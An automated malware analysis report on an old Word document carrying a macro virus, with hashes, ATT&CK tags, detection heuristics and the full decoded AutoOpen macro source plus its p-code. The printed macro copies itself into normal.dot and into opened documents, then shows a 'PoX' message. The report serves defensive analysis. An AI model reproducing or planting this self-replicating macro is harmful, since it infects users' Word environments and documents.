Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f3bc3a77498f980d…

MALICIOUS

Office (OLE)

26.5 KB Created: 1998-01-29 08:00:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: bf8ad72fb03a23fb38b68da86a988744 SHA-1: 2b4eef709321091777e0ddc925739efc09e9c610 SHA-256: f3bc3a77498f980df8ef23e06ad3e3e0bb695f2a02386be8b996a372caf378f9
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains legacy WordBasic macros, specifically an AutoOpen macro, which is a known technique for malware propagation. The macro attempts to copy itself to the normal.dot template and displays a message box with the text ' May a PoX be upon you Sam I am '. This behavior suggests it's designed to infect the user's Word environment and potentially serve as a dropper or part of a larger attack. The ClamAV detection further confirms its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Minimal-29 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minimal-29
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2671 bytes
SHA-256: cb1d1559fdcba893c497330740b8fd38c53b5739c4abb585f1151684d267e9a4
Detection
ClamAV: Doc.Trojan.Minimal-29
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"


Public Sub MAIN()
Dim N$
Dim Msg$
Rem AutoOpen Macro
Dim wiz As Object: Set wiz = WordBasic.DialogRecord.FileSaveAs(False)
WordBasic.CurValues.FileSaveAs wiz

On Error GoTo -1: On Error GoTo PoX
If wiz.Format = 0 Then
wiz.Format = 1
N$ = WordBasic.[FileName$]()
WordBasic.MacroCopy "normal.dot:AutoOpen", WordBasic.[FileName$]() + ":AutoOpen", 4
WordBasic.FileSaveAs wiz
End If

WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoOpen", "normal.dot:AutoOpen", 4
Msg$ = Msg$ + " May a PoX be upon you Sam I am "
WordBasic.MsgBox Msg$, "               POXARAMA"
PoX:
End Sub

' Processing file: /opt/analyzer/scan_staging/83d4a663bd8d4cddbbda308f4ef7d8a9.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoOpen - 1876 bytes
' Line #0:
' Line #1:
' Line #2:
' 	FuncDefn (Public Sub MAIN())
' Line #3:
' 	Dim 
' 	VarDefn N
' Line #4:
' 	Dim 
' 	VarDefn Msg
' Line #5:
' 	Rem 0x000F " AutoOpen Macro"
' Line #6:
' 	Dim 
' 	VarDefn wiz (As Object)
' 	BoS 0x0000 
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd FileSaveAs 0x0001 
' 	Set wiz 
' Line #7:
' 	Ld wiz 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #8:
' Line #9:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError PoX 
' Line #10:
' 	Ld wiz 
' 	MemLd Format$ 
' 	LitDI2 0x0000 
' 	Eq 
' 	IfBlock 
' Line #11:
' 	LitDI2 0x0001 
' 	Ld wiz 
' 	MemSt Format$ 
' Line #12:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St N$ 
' Line #13:
' 	LitStr 0x0013 "normal.dot:AutoOpen"
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	LitStr 0x0009 ":AutoOpen"
' 	Add 
' 	LitDI2 0x0004 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0003 
' Line #14:
' 	Ld wiz 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #15:
' 	EndIfBlock 
' Line #16:
' Line #17:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	LitStr 0x0009 ":AutoOpen"
' 	Add 
' 	LitStr 0x0013 "normal.dot:AutoOpen"
' 	LitDI2 0x0004 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0003 
' Line #18:
' 	Ld Msg$ 
' 	LitStr 0x0020 " May a PoX be upon you Sam I am "
' 	Add 
' 	St Msg$ 
' Line #19:
' 	Ld Msg$ 
' 	LitStr 0x0017 "               POXARAMA"
' 	Ld WordBasic 
' 	ArgsMemCall MsgBox 0x0002 
' Line #20:
' 	Label PoX 
' Line #21:
' 	EndSub

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